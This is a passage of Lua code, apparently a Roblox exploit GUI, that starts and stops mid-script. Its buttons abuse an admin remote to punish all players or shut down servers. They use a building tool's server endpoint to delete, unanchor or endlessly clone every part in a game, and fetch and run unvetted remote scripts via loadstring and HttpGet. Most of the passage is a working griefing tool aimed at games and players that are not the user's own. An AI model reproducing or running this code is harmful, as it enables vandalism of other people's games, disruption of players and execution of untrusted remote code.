name(hellolol, "REKT") resize(hellolol, Vector3.new(2, 9, 2), position) lock(hellolol, true) makefire(hellolol) fire2(hellolol, Color3.new(1, 0, 0), Color3.new(0, 0, 1)) task.wait(2.9) delete(character.Head) delete(hellolol) end) end end end) end; task.spawn(C_34); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_36() local script = G2L["36"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";punish all") end) end; task.spawn(C_36); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_38() local script = G2L["38"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) end; task.spawn(C_38); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_3a() local script = G2L["3a"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";shutdown") end) end; task.spawn(C_3a); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_3c() local script = G2L["3c"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("172423468") end) end; task.spawn(C_3c); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_3e() local script = G2L["3e"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";char all Natenea1254") end) end; task.spawn(C_3e); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_40() local script = G2L["40"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";titlep all X9D") end) end; task.spawn(C_40); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript local function C_43() local script = G2L["43"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 112226782551255 ;pitch 0.1 ;volume 25") end) end; task.spawn(C_43); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript local function C_45() local script = G2L["45"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 136201301642679 ;pitch 0.1 ;volume 25") end) end; task.spawn(C_45); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript local function C_47() local script = G2L["47"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 72796362292502 ;pitch 0.1 ;volume 25") end) end; task.spawn(C_47); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript local function C_49() local script = G2L["49"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 127653283576622 ;volume 25") end) end; task.spawn(C_49); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript local function C_4b() local script = G2L["4b"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 95156028272944 ;volume 25 ;pitch 0.22") end) end; task.spawn(C_4b); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript local function C_4d() local script = G2L["4d"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 139488665764275 ;volume 25 ") end) end; task.spawn(C_4d); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_4f() local script = G2L["4f"]; script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/AYq8S0Er7HKVVs8S/raw"))() end) end; task.spawn(C_4f); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_51() local script = G2L["51"]; script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/df1mYxm8y1LL7ED4/raw",true))() end) end; task.spawn(C_51); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_53() local script = G2L["53"]; script.Parent.MouseButton1Click:Connect(function() -- Credits to whoever made the f3x call function template and credits to remote spy for some scripts xd local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local workspace = game:GetService("Workspace") local player = Players.LocalPlayer local function findTool() local char = player.Character or player.CharacterAdded:Wait() for _, v in ipairs(char:GetChildren()) do if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(player.Backpack:GetChildren()) do if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then return v end end end local tool = findTool() if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function call(a) return remote:InvokeServer(unpack(a)) end for _, stupidguy in ipairs(workspace:GetDescendants()) do task.spawn(function() call({ "CreateMeshes", { { Part = stupidguy } } }) end) task.spawn(function() call({ "SyncMesh", {{ Part = stupidguy, MeshId = "rbxassetid://12902786354", }} }) end) game:GetService("RunService").Heartbeat:Connect(function() local clonething = { [1] = "Clone", [2] = { [1] = stupidguy }, [3] = game.Workspace } remote:InvokeServer(unpack(clonething)) end) end end) end; task.spawn(C_53); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_55() local script = G2L["55"]; script.Parent.MouseButton1Click:Connect(function() --- f3x f.y.d local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools me") task.wait(1.2) RequestCommand:InvokeServer(";punish all") task.wait(0.2) local player = game.Players.LocalPlayer local backpack = player.Backpack local character = player.Character local function getF3X() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(character:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getF3X() if not f3x then warn("F3X / SyncAPI not found – please equip btools and try again") return end local syncapi = f3x.SyncAPI local endpoint = syncapi.ServerEndpoint for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("MeshPart") then task.spawn(function() pcall(function() endpoint:InvokeServer("Remove", {v}) end) end) end end task.wait(1) local function syncAnchor(ep, part, anchored) ep:InvokeServer("SyncAnchor", {{Part = part, Anchored = anchored}}) end local function batchResize(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncResize", tbl) end end local function batchMaterial(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncMaterial", tbl) end end local function batchColor(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncColor", tbl) end end local function batchCollision(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncCollision", tbl) end end local function createMesh(ep, part) ep:InvokeServer("CreateMeshes", {{Part = part}}) end local function syncMeshType(ep, part, t) ep:InvokeServer("SyncMesh", {{Part = part, MeshType = t}}) end local function syncMeshScale(ep, part, s) ep:InvokeServer("SyncMesh", {{Part = part, Scale = s}}) end local function syncMeshOffset(ep, part, o) ep:InvokeServer("SyncMesh", {{Part = part, Offset = o}}) end local function syncMeshId(ep, part, id) ep:InvokeServer("SyncMesh", {{Part = part, MeshId = id}}) end local function syncMeshTexture(ep, part, tex) ep:InvokeServer("SyncMesh", {{Part = part, TextureId = tex}}) end local function syncMeshVertexColor(ep, part, col) ep:InvokeServer("SyncMesh", {{Part = part, VertexColor = col}}) end local function createDecal(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Decal"}}) end local function setDecalTexture(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Texture = tex}}) end local function setDecalTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Transparency = trans}}) end local function createTexture(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Texture"}}) end local function setTextureId(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Texture = tex}}) end local function setTextureTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Transparency = trans}}) end local function createLight(ep, part, lightType) ep:InvokeServer("CreateLights", {{Part = part, LightType = lightType}}) end local function syncLight(ep, part, lightType, brightness, range, color, shadows, face, angle) local params = {Part = part, LightType = lightType} if brightness ~= nil then params.Brightness = brightness end if range ~= nil then params.Range = range end if color then params.Color = color end if shadows ~= nil then params.Shadows = shadows end if face and face ~= "nil" then params.Face = face end if angle ~= nil then params.Angle = angle end ep:InvokeServer("SyncLighting", {params}) end local function createGroup(ep, groupType, parent, items) return ep:InvokeServer("CreateGroup", groupType, parent, items) end local function setName(ep, obj, name) ep:InvokeServer("SetName", {obj}, name) end local function setLocked(ep, part, lock) ep:InvokeServer("SetLocked", {part}, lock) end local P = {} local partData = { [8] = {anchored = true}, [9] = {anchored = true}, [10] = {anchored = true}, [11] = {anchored = true}, [12] = {anchored = true}, [14] = {anchored = true}, [15] = {anchored = true}, [16] = {anchored = true}, [17] = {anchored = true}, [18] = {anchored = true}, [21] = {anchored = true}, [22] = {anchored = true}, [23] = {anchored = true}, [24] = {anchored = true}, [25] = {anchored = true}, [26] = {anchored = true}, [27] = {anchored = true}, [28] = {anchored = true}, [29] = {anchored = true}, [30] = {anchored = true}, [31] = {anchored = true}, [32] = {anchored = true}, [33] = {anchored = true}, [34] = {anchored = true}, [35] = {anchored = true}, [36] = {anchored = true}, [37] = {anchored = true}, [38] = {anchored = true}, [39] = {anchored = true}, [40] = {anchored = true}, [41] = {anchored = true}, [42] = {anchored = true}, [43] = {anchored = true}, [44] = {anchored = true}, [45] = {anchored = true}, [46] = {anchored = true}, [151] = {anchored = true}, [673] = {anchored = true}, [685] = {anchored = true}, [706] = {anchored = true}, [561] = {anchored = true}, [667] = {anchored = true}, [675] = {anchored = true}, [736] = {anchored = true}, [519] = {anchored = true}, [700] = {anchored = true}, [510] = {anchored = true}, [587] = {anchored = true}, [464] = {anchored = true}, [611] = {anchored = true}, [571] = {anchored = true}, [635] = {anchored = true}, [166] = {anchored = true}, [435] = {anchored = true}, [555] = {anchored = true}, [175] = {anchored = true}, [663] = {anchored = true}, [579] = {anchored = true}, [657] = {anchored = true}, [470] = {anchored = true}, [767] = {anchored = true}, [491] = {anchored = true}, [607] = {anchored = true}, [631] = {anchored = true}, [770] = {anchored = true}, [473] = {anchored = true}, [694] = {anchored = true}, [615] = {anchored = true}, [428] = {anchored = true}, [575] = {anchored = true}, [627] = {anchored = true}, [501] = {anchored = true}, [479] = {anchored = true}, [676] = {anchored = true}, [595] = {anchored = true}, [656] = {anchored = true}, [648] = {anchored = true}, [78] = {anchored = true}, [461] = {anchored = true}, [669] = {anchored = true}, [82] = {anchored = true}, [72] = {anchored = true}, [540] = {anchored = true}, [703] = {anchored = true}, [619] = {anchored = true}, [751] = {anchored = true}, [522] = {anchored = true}, [204] = {anchored = true}, [114] = {anchored = true}, [525] = {anchored = true}, [270] = {anchored = true}, [664] = {anchored = true}, [745] = {anchored = true}, [670] = {anchored = true}, [732] = {anchored = true}, [271] = {anchored = true}, [532] = {anchored = true}, [671] = {anchored = true}, [268] = {anchored = true}, [558] = {anchored = true}, [567] = {anchored = true}, [697] = {anchored = true}, [691] = {anchored = true}, [720] = {anchored = true}, [476] = {anchored = true}, [653] = {anchored = true}, [528] = {anchored = true}, [677] = {anchored = true}, [650] = {anchored = true}, [661] = {anchored = true}, [599] = {anchored = true}, [498] = {anchored = true}, [186] = {anchored = true}, [504] = {anchored = true}, [646] = {anchored = true}, [132] = {anchored = true}, [623] = {anchored = true}, [488] = {anchored = true}, [157] = {anchored = true}, [507] = {anchored = true}, [247] = {anchored = true}, [660] = {anchored = true}, [672] = {anchored = true}, [456] = {anchored = true}, [467] = {anchored = true}, [123] = {anchored = true}, [773] = {anchored = true}, [652] = {anchored = true}, [655] = {anchored = true}, [688] = {anchored = true}, [761] = {anchored = true}, [755] = {anchored = true}, [549] = {anchored = true}, [741] = {anchored = true}, [494] = {anchored = true}, [433] = {anchored = true}, [238] = {anchored = true}, [537] = {anchored = true}, [729] = {anchored = true}, [227] = {anchored = true}, [712] = {anchored = true}, [96] = {anchored = true}, [546] = {anchored = true}, [724] = {anchored = true}, [482] = {anchored = true}, [603] = {anchored = true}, [639] = {anchored = true}, [716] = {anchored = true}, [265] = {anchored = true}, [552] = {anchored = true}, [709] = {anchored = true}, [674] = {anchored = true}, [87] = {anchored = true}, [583] = {anchored = true}, [256] = {anchored = true}, [105] = {anchored = true}, [516] = {anchored = true}, [682] = {anchored = true}, [485] = {anchored = true}, [564] = {anchored = true}, [665] = {anchored = true}, [430] = {anchored = true}, [543] = {anchored = true}, [662] = {anchored = true}, [659] = {anchored = true}, [591] = {anchored = true}, [513] = {anchored = true}, [454] = {anchored = true}, [458] = {anchored = true}, [451] = {anchored = true}, [644] = {anchored = true}, } local partDefs = { [8] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,10.95000171661377,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)}, [9] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,4.800012111663818,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)}, [10] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,9.000000953674316,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)}, [11] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,12.999993324279785,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)}, [12] = {shape="Cylinder", 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cframe=CFrame.new(290.07110595703125,266.8662109375,-31286.890625,1,0,0,0,1,0,0,0,1)}, [227] = {shape="Normal", cframe=CFrame.new(-45.48649215698242,7.691401481628418,-31306.1015625,-0.9634588956832886,-0.19387774169445038,0.18482273817062378,0.07243566960096359,-0.8528767824172974,-0.517063319683075,0.2578781247138977,-0.484781414270401,0.8357552886009216)}, [712] = {shape="Normal", cframe=CFrame.new(308.5553283691406,253.700927734375,-31288.724609375,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)}, [96] = {shape="Normal", cframe=CFrame.new(-46.1259651184082,5.553707122802734,-31305.78125,-0.9470305442810059,-0.2907145321369171,-0.1364520788192749,-0.08153969794511795,0.628637969493866,-0.7734116911888123,0.3106209635734558,-0.7213181257247925,-0.6190441250801086)}, [546] = {shape="Normal", cframe=CFrame.new(213.43446350097656,151.74395751953125,-31295.1953125,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)}, [724] = {shape="Normal", cframe=CFrame.new(295.4311218261719,266.8662109375,-31296.375,1,0,0,0,1,0,0,0,1)}, [482] = {shape="Normal", cframe=CFrame.new(-18.345420837402344,4.500339984893799,-31253.12109375,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)}, [603] = {shape="Normal", cframe=CFrame.new(219.48281860351562,162.16168212890625,-31266.8125,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)}, [639] = {shape="Normal", cframe=CFrame.new(223.3950653076172,160.73638916015625,-31266.52734375,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)}, [716] = {shape="Normal", cframe=CFrame.new(284.7107849121094,270.1665954589844,-31296.375,1,0,0,0,1,0,0,0,1)}, [265] = {shape="Normal", cframe=CFrame.new(-35.04931640625,3.898972511291504,-31305.130859375,-0.9998477697372437,0.012317681685090065,0.012369418516755104,-0.00003645522519946098,0.707112193107605,-0.7071014046669006,-0.01745641604065895,-0.7069941163063049,-0.7070040702819824)}, [552] = {shape="Normal", cframe=CFrame.new(209.60763549804688,150.2830810546875,-31292.900390625,0.6287926435470581,0.2447793036699295,-0.7380399703979492,0.7180317044258118,0.18147708475589752,0.6719350218772888,0.29841312766075134,-0.9524437785148621,-0.06164783984422684)}, [709] = {shape="Normal", cframe=CFrame.new(309.9470520019531,256.55255126953125,-31288.033203125,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)}, [674] = {shape="Normal", cframe=CFrame.new(297.7107849121094,270.1665954589844,-31295.375,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)}, [87] = {shape="Normal", cframe=CFrame.new(-46.99794387817383,4.258682727813721,-31305.59765625,-0.9980754256248474,0.0003523360937833786,0.06201586127281189,-0.00012597767636179924,0.9999701976776123,-0.00770878791809082,-0.06201675534248352,-0.007701754570007324,-0.998045802116394)}, [583] = {shape="Normal", cframe=CFrame.new(220.17510986328125,161.09231567382812,-31270.6015625,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)}, [256] = {shape="Normal", cframe=CFrame.new(-47.86479568481445,8.22494125366211,-31304.984375,-0.988540768623352,0.15030381083488464,0.014024630188941956,-0.14638926088809967,-0.9318042993545532,-0.33213087916374207,-0.03685243800282478,-0.330377995967865,0.9431294798851013)}, [105] = {shape="Normal", cframe=CFrame.new(-46.01003646850586,5.03597354888916,-31305.5859375,-0.947405219078064,0.22228989005088806,-0.23024168610572815,0.023203879594802856,0.7652380466461182,0.6433290839195251,0.3191952109336853,0.6041509509086609,-0.7301484942436218)}, [516] = {shape="Normal", cframe=CFrame.new(-16.567602157592773,41.55972671508789,-31282.623046875,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)}, [682] = {shape="Normal", cframe=CFrame.new(309.445556640625,254.60745239257812,-31286.69921875,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)}, [485] = {shape="Normal", cframe=CFrame.new(-19.72412872314453,8.098092079162598,-31254.525390625,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)}, [564] = {shape="Normal", cframe=CFrame.new(211.0679931640625,151.94725036621094,-31292.20703125,0.6287926435470581,0.2447793036699295,-0.7380399703979492,0.7180317044258118,0.18147708475589752,0.6719350218772888,0.29841312766075134,-0.9524437785148621,-0.06164783984422684)}, [665] = {shape="Normal", cframe=CFrame.new(132.72239685058594,91.77079772949219,-31289.875,0.8089974522590637,-0.5878121852874756,0,0.5878121852874756,0.8089974522590637,0,0,0,1)}, [430] = {shape="Normal", cframe=CFrame.new(435.3618469238281,243.3909912109375,-31274.216796875,0,0,1,0,1,-0,-1,0,0)}, [543] = {shape="Normal", cframe=CFrame.new(211.39398193359375,149.4104461669922,-31296.1640625,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)}, [662] = {shape="Normal", cframe=CFrame.new(82.23793029785156,42.32733154296875,-31354.85546875,1,0,0,0,1,0,0,0,1)}, [659] = {shape="Truss", cframe=CFrame.new(90.71656799316406,52.378013610839844,-31253.326171875,1,0,0,0,1,0,0,0,1)}, [591] = {shape="Normal", cframe=CFrame.new(216.6319580078125,164.50949096679688,-31265.529296875,0.12504693865776062,-0.9896394610404968,0.07054850459098816,0.5129010081291199,0.003612428903579712,-0.8584401607513428,0.8492913246154785,0.1435297727584839,0.5080388188362122)}, [513] = {shape="Normal", cframe=CFrame.new(-16.667526245117188,41.43668746948242,-31281.416015625,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)}, [454] = {shape="Normal", cframe=CFrame.new(435.3638000488281,241.0897216796875,-31278.4296875,0,0,1,0,1,-0,-1,0,0)}, [458] = {shape="Normal", cframe=CFrame.new(435.3638000488281,243.3924560546875,-31282.642578125,0,0,1,0,1,-0,-1,0,0)}, [451] = {shape="Normal", cframe=CFrame.new(435.3618469238281,245.6951904296875,-31278.4296875,0,0,1,0,1,-0,-1,0,0)}, [644] = {shape="Normal", cframe=CFrame.new(22.658018112182617,22.63770294189453,-31273.875,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)}, } local pending = 0 for id, def in pairs(partDefs) do pending = pending + 1 task.spawn(function() local success, part = pcall(function() return endpoint:InvokeServer("CreatePart", def.shape, def.cframe, workspace) end) if success and part then P[id] = part syncAnchor(endpoint, part, true) end pending = pending - 1 end) end while pending > 0 do task.wait() end local resizeBatch = {} if P[8] then resizeBatch[#resizeBatch+1] = {Part = P[8], CFrame = P[8].CFrame, Size = Vector3.new(1.1999998092651367,0.30000001192092896,0.30000001192092896)} end if P[9] then resizeBatch[#resizeBatch+1] = {Part = P[9], CFrame = P[9].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end if P[10] then resizeBatch[#resizeBatch+1] = {Part = P[10], CFrame = P[10].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end if P[11] then resizeBatch[#resizeBatch+1] = {Part = 